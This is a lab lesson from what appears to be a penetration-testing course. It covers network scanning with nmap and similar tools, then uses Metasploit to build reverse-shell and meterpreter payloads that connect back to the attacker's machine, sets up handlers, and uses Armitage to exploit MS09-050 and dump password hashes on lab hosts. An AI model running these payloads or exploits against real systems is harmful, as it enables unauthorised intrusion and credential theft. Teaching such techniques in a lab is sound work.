01- Backtrack 5

Set Up

Following the instructions in Lesson 00- System Setup, set up a a small network consisting of the following:

• Backtrack 5 R3
• Ubuntu 10.04 Desktop
• Windows Vista
• Windows 8
• Windows 2008 Server (NOT R2)

Give each of these systems a static IP address and its own hostname. Be sure to talk with the other students on your team so that you do not accidentally select the same IP address; also be sure that you "copy" your machines instead of "moving" them. If you move them, I will find out when you call me over to find out why your network is totally borked.

Wireshark

You should be familiar with the use of Wireshark from previous courses. To start a Wireshark packet capture on your Backtrack box, navigate Applications → Backtrack → Information Gathering → Network Analysis → Network Traffic Analysis → wireshark.

Instead, you can get Wireshark directly from the command line

root@bt:~# wireshark &

If you are unfamiliar with the use of Wireshark as a tool, or just want a refresher, you should take a look at Etude 1, Wireshark. There you will have a chance to learn how to use Wireshark to gather real data from a real packet capture.

Network Enumeration

Backtrack comes with a number of tools to determine the hosts that are active on a network. Let us examine some of the more common choices.

fping

Run the tool fping against your network range, e.g.

root@bt:~# fping -g 10.0.2.1 10.0.2.253

• What are the advantages and disadvantages of fping compared to a simple ping?
• What does the -a option do? What does the -u option do?
• How well do those options work in practice?
• What happens when you dump the results to a file, e.g.

  root@bt:~# fping -a -s -q -g 10.0.2.1 10.0.2.253 > results
  

hping3

• Take a look at the man page for hping3. Do you notice anything unusual?
• Use hping3 to scan your Vista host using TCP 135 as your destination. What is the result?
• Disable the firewall on the Vista machine, and repeat. Are the results different?
• Use hping3 to scan one the Ubuntu system, also using TCP 135. What occurs?
• Did you notice a difference in the returned TTL values?

arping

Run the tool arping against a known host- e.g.

root@bt:~# arping 10.0.2.7 -c5

Run Wireshark, and capture the sent & returned packets.

• Identify the packets sent out and the return packets in your capture.
• What packets are seen by the target of your scan?
• Read the man page for arping.
• Will the option -0 prevent your host being identified by the target of your scan? Why or why not?

netdiscover

Start a wireshark capture file, then run an active scan against the local network- e.g.

root@bt:~# netdiscover -r 10.0.2.0/24

• Did the tool successfully enumerate the network?
• From the packet capture, how did the tool enumerate the network?
• Would any of the targets been able to identify the IP address of the scan? If so, how?

Next try a passive scan:

root@bt:~# netdiscover -p -r 10.0.2.0/24

Again, run a packet capture.

• Does your scan enumerate any hosts on the network?
• If a host uses the network, is it picked up by your passive scan?
• What would happen if you were running a passive scan and an opponent in class ran an active scan?
• How many packets did your passive scan send?

nping

Try out nping. Run four scans- a ICMP Ping scan, a UDP scan, a TCP scan, and an ARP scan.

lanmap2

Run lanmap2; it can ba accessed from the menu by navigating Applications → Backtrack → Information Gathering → Network Analysis → Network Scanners → lanmap2.

Is this a helpful tool? Take a look at the README file at /pentest/enumeration/lanmap2. Run the graph script it mentions, and view the resulting network graph. [This can be done from the command line via display; see man display for details.] Is it helpful? Is the web page (/pentest/enumeration/lanmap2/web/index.html) useful?

Does this tool send any packets? How might that be useful?

nmap

The premier tool for network scanning remains nmap.

To select targets, you have a number of options, including

• CIDR notation:

  root@bt:~# nmap 192.168.1.0/24

• A range of IP addresses:

  root@bt:~# nmap 192.168.1.1-255

• You can mix ranges:

  root@bt:~# nmap 10.0.0,2,3,4.1-254

• You can combine ranges:

  root@bt:~# nmap 192.168.1.0/24 10.0.1.2,3,4.1-254

• You can specify the name in a file list

  root@bt:~# nmap -iL hostnames.txt

Like the tools we have seen so far, there are a number of ways to use nmap to enumerate a network.

• To get a list of IPs from a host name by doing DNS only, so that no packets get sent to the final targets

  root@bt:~# nmap -sL host.target.com/28

• To just ping the hosts to find out if they respond

  root@bt:~# nmap -sP 10.0.2.0/24

• To scan without ping

  root@bt:~# nmap -PN 10.0.2.0/24

• To scan using ping

  root@bt:~# nmap -PE 10.0.2.0/24

• The TCP SYN Ping sends SYN packets to the specified ports to see if there is a response. As an example, consider

  root@bt:~# nmap -PS20-22,25,53,80,111,135,139,445

• The same activity can be performed with TCP ACK packets

  root@bt:~# nmap -PA20-22,25,53,80,111,135,139,445

• Scans can also be performed using UDP packets

  root@bt:~# nmap -PU54,68,137

  Can you explain why these tend to be less reliable than other methods?

• We can also use nmap to send ARP requests to see if a host is up:

  root@bt:~# nmap -PR 10.0.2.0/24

  Note that this only works on the same network segment (Why?!)

If no options are specified, then the default is -PA -PE, with port 80 (only) for the ACK scan.

The real value of nmap comes however, from the way which it can also determine the port(s) that the target has open. There are a number of different ways to do this however, and it is important to understand how they work.

The simplest type of scan is a SYN stealth scan. The reported result depends on the sequence of packets:

• Open Port:
  • Scanner sends SYN to target
  • Target sends SYN/ACK to scanner
  • Scanner sends RST to target
• Closed Port:
  • Scanner sends SYN to target
  • Target sends RST to scanner
• Filtered Port:
  • Scanner sends SYN to target
  • No response (after re-transmission) or ICMP unreachable error received by scanner.

This is called a stealth scan because the scanner never completes the three-way TCP handshake. To launch one, simply run

root@bt:~# nmap -sS 10.0.2.0/24

A louder type of scan is the TCP connect scan. It is similar to the stealth scan, but will
complete the full three way handshake. The reported results are:

• Open Port:
  • Scanner sends SYN to target
  • Target sends SYN/ACK to scanner
  • Scanner sends SYN/ACK to target
  • Data may be exchanged
  • Scanner sends RST to target
• Closed Port:
  • Scanner sends SYN to target
  • Target sends RST to scanner
• Filtered Port:
  • Scanner sends SYN to target
  • No response (after re-transmission) or ICMP unreachable error received by scanner.

To launch one, simply run

root@bt:~# nmap -sT 10.0.2.0/24

UDP scans are handled somewhat differently, as even an open UDP port might not respond to any particular received UDP packet. The results of a UDP scan, depending on the packets transferred, are:

• Open | Filtered Port:
  • Scanner sends UDP packet to target
  • The target fails to respond, even after retransmission
• Closed Port:
  • Scanner sends UDP packet
  • Target responds with an ICMP port unreachable packet
• Filtered Port:
  • Scanner sends UDP packet
  • Target responds with a different ICMP error message

To launch a UDP scan, run

root@bt:~# nmap -sU 10.0.2.0/24

There are a number of other, more esoteric scans, including the XMAS, FIN, ACK, and NULL scans that we will not discuss.

More interesting is the Zombie Scan (or Idle Scan) which uses a machine that is idle to scan a third party. As a consquence, the scanning machine does not appear in the logs of the target.

There are only two possible return values for a Zombie Scan- Open and Closed | Filtered.

• For a Zombie Scan of an open port, the sequence of packets is
  • Scanner sends SYN/ACK to Zombie
  • Zombie responds with RST packet, which reveals the Zombie’s IP ID
  • Scanner sends a SYN packet to the target, but using the Zombie’s IP address instead of its own.
  • The target responds with a SYN/ACK packet back to the Zombie
  • The Zombie, not expecting a SYN/ACK from the target, sends RST to the target
  • The scanner sends SYN/ACK to the Zombie
  • The Zombie, again reponds with RST back to the scanner, revealing its IP ID
  • Since the IP ID has been incremented by 2, we conclude the port is open
• For a Zombie Scan of a closed | filtered port, the sequence is:
  • Scanner sends SYN/ACK to Zombie
  • Zombie responds with RST packet, which reveals the Zombie’s IP ID
  • Scanner sends a SYN packet to the target, but using the Zombie’s IP address instead of its own.
  • If the target port is closed, he target responds with a RST packet back to the Zombie
  • If the target port is filtered, the target sends nothing back to the Zombie
  • Either way, the Zombie sends nothing back to the target
  • The scanner sends SYN/ACK to the Zombie
  • The Zombie, again reponds with RST back to the scanner, revealing its IP ID
  • Since the IP ID has been incremented by 1, we conclude the port is closed | filtered.

To launch a Zombie scan, the syntax is

root@bt:~# nmap -sI zombie.com target.com

Of course you can use IP addresses instead of DNS names.

To scan a particular port range, use -p. You can mix and match, as well as specify TCP & UDP (though if you specify both TCP & UDP you need to include a TCP Scan type (e.g. -sS) and a UDP scan (-sU)

root@bt:~# nmap -sU -sS -p U:53, T:21-25,80 target.com

To use nmap to guess the OS, use the -O option (or -A)

root@bt:~# nmap -O 10.0.1.24

To enable version detection, use the -sV option (or -A)

The option -A (agressive scan) withh apply -O, -sV as well as enabling script scanning and traceroute.

The option -6 will apply IPv6 scanning.

You adjust the timing of the scan with the various -T options.

• -T0 (paranoid) (wait 5 minutes between probes)
• -T1 (sneaky) (Wait 15 seconds between probes)
• -T2 (polite) (as low as 1/10 speed of -T3)
• -T3 (normal)
• -T4 (agressive)
• -T5 (insane)

It should be noted that historically this class has been full of impatient students who like to use -T5 on their scans. The good news for them is that some of the data they get back from such fast scans contains some accurate information. Usually.

There are a number of ways to store the output of the scan, depending on various -o options.

• -oN filename will send the output to the named file.
• -oX filename will send output as .xml to the named file.
• -oA filename will send it to all available formats (filename.nmap (-oN) filename.xml (-oX) and filename.gnamp (-oG)).

Finally, we note that the option -v increases the verbosity of the output.

• Run an nmap scan of your test network, including a version scan. Save the result as a file.

Was the scan able to identify the various host OSes?

Zenmap

Backtrack comes with a nice graphical front-end to nmap, called zenmap. It can be found by navigating Applications → Backtrack → Information Gathering → Network Analysis → Identify Live Hosts &arr; zenmap

The tool lets you choose the target and the scan type; it also shows the precise combination
of flags that you have selected.

One nice feature of zenmap is that the various buttons enable the user to view the results graphically.

Another nice feature is the network diagram that Zenmap can generate.

• Use Zenmap to scan your test network Use an agressive scan.

netifera

Start netifera by first navigating Applications → Backtrack → Information Gathering → Network Analysis → Identify Live Hosts &arr; netifera.

Enter the IP block that you want to scan in the address bar; say 192.168.1.0/24 and press return. When you do so, you will be presented with something like the following:

Expand the netblock, and then hover over the provided IP range. A list of actions will be provided; in the bottom left corner is a magnifying glass; hover over that to be told that it will let you Scan Common TCP and UDP Services.

Running that scan provides you with basic information about the hosts, and expanding on one of the hosts will provide a list of ports and services available.

From here, hovering over one of the services will give you additional menus (depending on the provided service) to let you gain additional information.

Run Netifera on your network. How useful is the tool?

Offense

Reconnaissance and enumeration only give you some (imperfect) information about other systems; they do not actually let you gain access to those systems.

There are a couple of different ways to attack a computer network. One is to take advantage of mis-configurations. The administrator may want to grant you access to resource X, but those credentials may also get you access to Y, which is meant to be protected. Right now, we haven’t configured anything on our test network, so these types of attacks will not work; however as we build progressively more complex networks, we will see these flaws more and more often.

The second kind of attack is to take advantage of a vulnerable network service that is being run on the target. The big advantages of attacking network services are that they can be done remotely, and that they do not require user intervention. If the service is vulnerable and reachable, then we can attack it. These sorts of vulnerabilities are rare though.

The third way to gain access to a system is via user interaction. For example, if you can get a user to visit a web site, open a document, or run a program, we may be able to gain access to the network.

In general, the process of gaining access to a system is separate from escalating privileges on that system, and in most cases additional attacks are needed to gain additional privileges.

It is not easy to keep up with the different kinds of attacks that are in common use, much less the ones that are kept private or only used in tightly targeted attacks. To give you some perspective, I have created a spreadsheet with a large number of common attack vectors. We don’t have the time to explain or demonstrate all of these in detail, but we will discuss a few.

Metasploit

As an example of a remote attack that does not require user intervention, we start by showing how to use Metasploit to generate a malicious executable that, when executed on a remote system, will give us some access to that system.

Let us start with a simple example- we will create an executable that, if run on a Linux target system, will provide us with simple shell access- simply the ability to remotely run commands on that system.

Start on our Backtrack system, and run the following command

root@bt:~# msfpayload linux/x86/shell/reverse_tcp LHOST=10.0.2.10 
LPORT=443 X > hostile.exe
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
 Length: 71
Options: {"LHOST"=>"10.0.2.10", "LPORT"=>"443"}

Here we are using the msfpayload command to ask Metasploit to generate an executable for us; this is the meaning of the "X" near the end of the command. The particular executable will be a shell, that comes out from the target to our Backtrack system via TCP. By using a reverse shell, the connection will be initiated from the target to our Backtrack system rather than the other way; this will bypass any firewall rules on unsolicited inbound traffic. To make the connection, we need tell the executable the IP address of the Backtrack system (10.0.2.10), and the port on which we will be listening for connections (TCP 443). We use the redirect operator ">" and tell msfpayload to dump the result to a file we call hostile.txt; this file will be placed in the directory in which the command was run.

How do we get this malicious executable to the target? And how do we get them to execute it? This is not so simple, and it generally relies on subterfuge and social engineering. For the purposes of this example though, I am simply going to copy the executable to the destkop of my VMWare host, and then copy it to my Ubuntu system.

Before we run the malicious executable though, we need to prepare a handler to receive the connection back on the attacker’s Backtrack machine. To do so, we start msfconsole and work as follows:

root@bt:~# msfconsole 

# cowsay++
 ____________

 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1027 exploits - 569 auxiliary - 172 post
+ -- --=[ 265 payloads - 28 encoders - 8 nops

msf > use exploit/multi/handler 
msf  exploit(handler) > set payload linux/x86/shell/reverse_tcp 
payload => linux/x86/shell/reverse_tcp
msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > set lhost 10.0.2.10
lhost => 10.0.2.10
msf  exploit(handler) > set lport 443
lport => 443
msf  exploit(handler) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > exploit

[*] Started reverse handler on 10.0.2.10:443 

Most of the commands above are self-explanatory. We start by running a handler (exploit/multi/handler) and then tell it to use the same payload (linux/x86/shell/reverse_tcp) that we specified earlier. Next we set the listening IP address (10.0.2.10) and the port (TCP 443). The listening IP address can be any IP address on the system; since this Backtrack system has only the one address connected to the network, that is what is specified. With the configuration complete, we start the handler by running the exploit command; then we wait.

Back on the Ubuntu machine, our victim decides to run the program. All that happens is that the program stops, almost as if it is waiting for more input. The victim simply sees something like the following:

The situation is different back on the attacker’s system. We are presented with a shell on the victim that we can use to execute all sorts of commands. In our example, we find out our user name (seldon), our directory (/home/seldon/Desktop), the files on the Desktop (hey look- we can see the screenshot!); we can even dump the contents of the file /etc/passwd.

It is not as polished as a traditional shell- we don’t have a prompt for example, but it is effective.

In general, I prefer to use meterpreter as an alternative to a shell when attacking a system. It is more powerful and has more features.

We build an executable with that payload in essentially the same fashion as before, though now we call the result malice.exe

root@bt:~# msfpayload linux/x86/meterpreter/reverse_tcp LHOST=10.0.2.10 
LPORT=443 X > malice.exe
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/meterpreter/reverse_tcp
 Length: 71
Options: {"LHOST"=>"10.0.2.10", "LPORT"=>"443"}

We again set up a handler:

msf > use exploit/multi/handler 
msf  exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp 
payload => linux/x86/meterpreter/reverse_tcp
msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LHOST                          yes       The listen address
   LPORT         4444             yes       The listen port
   PrependFork                    no        Add a fork() / exit_group() (for parent) code


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > let lhost 10.0.2.10
[-] Unknown command: let.
msf  exploit(handler) > set lhost 10.0.2.10
lhost => 10.0.2.10
msf  exploit(handler) > set lport 443
lport => 443
msf  exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.2.10:443 

Note that we pass two options to the exploit command. One is the "-j" option; this tells Metasploit to treat this handler as a job. Metasploit can run multiple jobs in the background; this will let us continue working on other attacks. The "-z" option tells Metasploit not to interrupt what we are doing if it receives a shell; again this lets us continue working on other attacks.

Once the victim runs the malicious executable though, we are notified:

msf  exploit(handler) > [*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 10.0.2.3

If multiple victims ran this program, this would occur more than once. Each such interaction sets up a "session". We can have multiple sessions with a single victim, or we can have multiple sessions with multiple targets.

We look through the list of available sessions with the "-l" switch, and we interact with one with the "-i" switch:

msf  exploit(handler) > sessions -l

Active sessions
===============

  Id  Type                   Information                                                              Connection
  --  ----                   -----------                                                              ----------
  1   meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000, 
suid=1000, sgid=1000 @ ubuntu  10.0.2.10:443 -> 10.0.2.3:37448 
(10.0.2.3)

msf  exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

Noe we are interacting with meterpreter, a powerful program that is running on our victim system. We do not have time to explain in detail what you can do at this point, however the Metasploit Unleashed project is full of detail about Metasploit in general, and there you can read about the basics of meterpreter.

We can find out most of the information we got from our previous attack directly from meterpreter:

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
meterpreter > ipconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 16436
Flags        : UP LOOPBACK RUNNING 
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface  2
============
Name         : eth0
Hardware MAC : 00:0c:29:ca:9e:6f
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST 
IPv4 Address : 10.0.2.3
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:feca:9e6f
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > ls

Listing: /home/seldon/Desktop
=============================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40755/rwxr-xr-x   4096    dir   2013-01-21 19:33:17 -0500  .
40755/rwxr-xr-x   4096    dir   2013-01-21 19:11:54 -0500  ..
100644/rw-r--r--  156157  fil   2013-01-21 19:11:49 -0500  Screenshot.png
100766/rwxrw-rw-  155     fil   2013-01-21 16:37:18 -0500  hostile.exe
100766/rwxrw-rw-  155     fil   2013-01-21 19:32:36 -0500  malice.exe

meterpreter > pwd
/home/seldon/Desktop

but if we need to directly interact with a shell on the victim we can, by using the shell command

meterpreter > shell
Process 2732 created.
Channel 1 created.
$ pwd
/home/seldon/Desktop
$ exit

We even had a nice prompt!

Finally, when we are done working with this host, we can background our session, allowing us to attack other hosts and do other things, all the while maintaining our session with the victim:

meterpreter > background
[*] Backgrounding session 1...
msf  exploit(handler) > 

Armitage

As poweful as Metasploit is, it has a significant learning curve. Fortunately, there is a graphical user interface for Metasploit called Armitage. Armitage was not designed primarily to improve the ease of use for Metasploit, rather it was designed to help improve collaboration between attackers, especially at competitions like the Collegiate Cyber Defense Competition.

To start Armitage, navigate Applications → Exploitation Tools → Network Exploitation Tools → Metasploit Framework → armitage. When Armitage first starts, it will ask how you want to connect:

simply select the defaults.

You will then be warned that an RPC server is not running:

Accept the default (Yes) and let it start.

Finally an odd warning dialog will appear

as it tries to connect. Believe it or not, but this is normal. Just give it some time- 30 seconds to a minute, and the graphical user interface will appear:

Unfortunately, we do not have enough time in class to thoroughly cover all of the things that Armitage can do; however the author of the program, Raphael Mudge, has provided an excellent manual.

To see it in action, let’s attack that Windows 2008 Server we set up at the beginning of the day. Right now, that system is pretty well firewalled though- an nmap scan does not show any open ports. Without an open port, we can’t try a network attack. Thus, for this example, start by disabling the firewall- this will allow all of our packets through to the target. From the Control Panel (not from Administrative Tools), simply disable the firewall; then an nmap scan should show a handful of open ports, including TCP 135, 139, and 445.

With this preparatory work done on our target, let us first use Armitage to scan the network. From the Hosts entry, select MSF Scans; then choose your scan range:

This is similar in spirit to an NMap scan, though is uses metasploit modules rather than the NMap program. I prefer the MSF scan here, because it better integrates with the Metasploit / Armitage framework and database. The scan itself will take some time- my scan took eight minutes or so to complete.

When it finishes, you will have a graphical picture of the network, together with the best guess as to the operating system.

In this example, our target is at 10.0.2.9, and it has been identified (correctly) as Windows 2008 datacenter.

Now that the hosts have been scanned, we can let Armitage work for us a bit, and suggest the kinds of attacks that might succeed on each target. To do so, select "Attacks" then "Find Attacks".

I have seen lots of folks use the Find Attacks button as a substitute for thinking. Let me tell you, it does not go well. Nearly all of the attacks suggested WILL NOT WORK. They are a starting point, but simply trying them one after another will probably break something while setting off every intrusion detection system, and still won’t get you a shell.

Instead, let us use the fact that we know Windows 2008 server is vulnerable to MS09-050. Interestingly, that attack does not even appear on our list, because Metasploit rates it as "good", while the attack menu only shows attacks rated as "great" or better.

To use our exploit, click on the target in the panel (10.0.2.9), then expand the tree in the top left exploit → windows → smb → ms_09_050_smb2_negotiate_func_index. Double click to obtain a dialog box to specify details of the attack.

We can happily accept the defaults here.

Choose launch, and then wait a moment or two. If the exploit is successful (and it might not be!) then you will be presented with the following screen showing that you have successfully exploited your target- note the lightning bolts of joy around the target.

You can right-click on your target, select Meterpreter 1 → Interact to interact with the system in a variety of ways, including via the meterpreter shell we saw before, or a more traditional Windows command prompt. From the Explore menu, you can browse files, show the processes on the target, log keystrokes, and even take a screenshot of the desktop. You can even find the password hashes on the system, because we were able to get System level access. From the Meterpreter 1 submenu, select Access → Dumnp Hashes &rarr and then one of the two available methods.

• As an exercise, repeat this attack on your Windows Vista system.